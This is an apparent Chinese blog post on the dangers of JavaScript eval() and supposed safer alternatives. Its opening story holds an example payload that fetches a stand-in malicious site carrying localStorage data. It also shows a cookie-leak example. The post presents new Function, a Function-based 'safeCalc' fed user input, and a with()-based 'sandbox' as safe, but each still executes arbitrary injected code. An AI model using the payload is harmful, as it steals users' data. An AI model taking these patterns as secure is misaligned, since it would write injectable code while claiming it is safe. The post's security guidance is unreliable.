一次意外的代码注入
某天,程序员小李在开发一个动态配置页面时,为了快速实现「用户输入表达式实时计算」功能,写下了这样一行代码:
const result = eval(userInput);
起初一切正常,直到用户输入了这样一段内容:
alert('你的数据被窃取了!'); fetch('http://恶意网站.com', {data: localStorage})
第二天,公司服务器突然收到大量异常请求……
这个故事揭示了eval()
的潜在危险。让我们深入解析eval的问题,并探索更安全的替代方案。
eval():一把双刃剑
1. 基础用法
eval()能够执行字符串形式的JavaScript代码:
console.log(eval('2 + 3 * 4')); // 输出14
const x = 10;
eval('console.log(x + 5)'); // 输出15
2. 隐藏的陷阱
虽然看似方便,但MDN文档明确警告:永远不要使用eval!
为什么必须避免eval()?
1. 安全漏洞
- 执行任意代码的能力
- 可能暴露作用域内的局部变量
- 示例风险:
// 用户输入可能包含恶意代码
eval(userInput);
// 可能被XSS攻击:
eval('document.cookie') // 泄露cookie
2. 性能黑洞
- 禁用引擎优化(无法预编译)
- 每次执行重新解析
- 作用域链查找成本高
3. 调试噩梦
- 错误堆栈难以追踪
- 代码压缩后难以定位问题
安全替代方案:window.Function
1. 基本用法
const add = new Function('a', 'b', 'return a + b');
console.log(add(2, 3)); // 输出5
2. 安全优势
- 隔离作用域:默认在全局作用域执行
- 严格模式强制:
const safeEval = code => Function('"use strict";return (' + code + ')')();
// 尝试访问未声明变量会报错
safeEval('x = 10'); // ReferenceError
3. 性能对比
通过闭包实现安全计算:
// 安全写法
function safeCalc(expr) {
return Function('"use strict";return ' + expr)();
}
// 危险写法
function unsafeCalc(expr) {
return eval(expr);
}
常见场景的优雅解决方案
场景1:动态属性访问
// 危险方式
eval(`obj.${propertyName}`);
// 安全方式
obj[propertyName];
场景2:JSON解析
// 可能执行恶意代码
const data = eval('(' + jsonStr + ')');
// 安全解析
const data = JSON.parse(jsonStr);
场景3:动态函数创建
// 可能泄露作用域
const handler = eval(`(function() { ${code} })`);
// 安全隔离
const handler = new Function('param', code);
最佳实践指南
1. 严格白名单校验:若必须处理动态输入
const ALLOWED_EXPRESSIONS = /^[\d\s+\-*/()]+$/;
if (ALLOWED_EXPRESSIONS.test(input)) {
// 执行安全计算
}
2. 沙箱化执行:使用专用环境
const sandbox = { result: 0 };
const code = 'result = 2 + 3 * 4';
new Function('sandbox', `with(sandbox){ ${code} }`)(sandbox);
console.log(sandbox.result); // 输出14
3. 优先使用语言特性
// 使用对象代替eval动态访问
const operations = {
add: (a, b) => a + b,
mul: (a, b) => a * b
};
operations[op](2, 3);
安全无小事
eval()如同没有保险的利器,稍有不慎就会造成严重后果。通过:
- 使用Function构造函数
- 严格校验输入
- 优先使用语言原生特性
我们既能实现灵活的动态编程,又能守住安全底线。记住:优秀的开发者不仅要让代码跑起来,更要让代码安全地运行!
🔥 关注我的公众号「哈希茶馆」一起交流更多开发技巧